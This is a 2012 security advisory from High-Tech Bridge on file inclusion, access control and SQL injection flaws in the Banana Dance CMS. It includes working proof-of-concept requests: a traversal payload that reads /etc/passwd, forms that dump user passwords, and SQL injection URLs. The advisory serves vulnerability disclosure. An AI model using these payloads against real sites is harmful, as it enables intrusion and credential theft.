Multiple vulnerabilities in Banana Dance

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23118
Product: Banana Dance
Vendor: bananadance.org
Vulnerable Version(s): B.2.6 and probably prior
Tested Version: B.2.6
Vendor Notification: October 3, 2012 
Public Disclosure: December 19, 2012 
Vulnerability Type: PHP File Inclusion [CWE-98], Improper Access Control 
[CWE-284], SQL Injection [CWE-89]
CVE References: CVE-2012-5242, CVE-2012-5243, CVE-2012-5244
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 5 
(AV:N/AC:L/Au:N/C:P/I:N/A:N), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
Banana Dance, which can be exploited to gain access to sensitive information, 
perform SQL injection attacks and compromise vulnerable system.


1) PHP File Inclusion in Banana Dance: CVE-2012-5242 

Input passed via the "name" POST parameter to "/functions/ajax.php" is not 
properly verified before being used in "include_once()" function and can be 
exploited to include arbitrary local files. This can be exploited to include 
local files via directory traversal sequences and URL-encoded NULL bytes.

The following PoC (Prof-of-Concept) demonstrates the vulnerability: 


POST /functions/ajax.php HTTP/1.1

action=get_template&name=../../../../../etc/passwd%00



2) Improper Access Control in Banana Dance: CVE-2012-5243

The application does not restrict access to the "/functions/suggest.php" script 
to unauthenticated users. A remote attacker can read arbitrary information from 
database.

The following PoC reads data from the 'bd_users' table: 


<form action="http://[host]/functions/suggest.php"; method="post">
<input type="hidden" name="return" value="username" />
<input type="hidden" name="display" value="password" />
<input type="hidden" name="table" value="bd_users" />
<input type="hidden" name="search" value="id" />
<input type="hidden" name="value" value="%" />
<input type="submit" id="btn">
</form>



3) SQL Injection in Banana Dance: CVE-2012-5244

3.1 Input passed via the "return", "display", "table" and "search" POST 
parameters to "/functions/suggest.php" is not properly sanitised before being 
used in SQL query. Although the "mysql_real_escape_string()" function is called 
on the input it has no effect due to usage of the ` quotes in SQL query. This 
vulnerability can be exploited to manipulate SQL queries by injecting arbitrary 
SQL code. 

The following PoC demonstrates the vulnerability: 


<form action="http://[host]/functions/suggest.php"; method="post">
<input type="hidden" name="return" value="id`,version() AS version FROM 
bd_users LIMIT 1 -- " />
<input type="hidden" name="display" value="version" />
<input type="submit" id="btn">
</form>


3.2 Input passed via the "id" GET parameter to "/functions/widgets.php" is not 
properly sanitised before being used in SQL query. This vulnerability can be 
exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability: 

http://[host]/functions/widgets.php?action=get_widget&id=%27%20OR%201=%28select%20min%28@a:=1%29from%20%28select%201%20union%20select%202%29k%20group%20by%20%28select%20concat%28@@version,0x0,@a:=%28@a%2b1%29%2%29%29%29%20--%20

3.3 Input passed via the "category" GET parameter to "/functions/print.php" is 
not properly sanitised before being used in SQL query. This vulnerability can 
be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability: 

http://[host]/functions/print.php?category=0%27%20UNION%20SELECT%20version%28%29%20--%202

3.4 Input passed via the "name" GET parameter to "/functions/ajax.php" is not 
properly sanitised before being used in SQL query. This vulnerability can be 
exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability: 


<form action="http://[host]/functions/ajax.php"; method="post">
<input type="hidden" name="action" value="get_template" />
<input type="hidden" name="name" value="' OR 1=(select min(@a:=1)from (select 1 
union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- " />
<input type="submit" id="btn">
</form>


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Solution:

Vendor didn't provide a security patch and declined proposal to postpone the 
disclosure date. 

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References:

[1] High-Tech Bridge Advisory HTB23118 - 
https://www.htbridge.com/advisory/HTB23118 - Multiple vulnerabilities in Banana 
Dance.
[2] Banana Dance - http://www.bananadance.org - Banana Dance is a free, open 
source, PHP/MySQL program that takes the best of wiki software and combines it 
with the best of web content management systems (CMS).
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.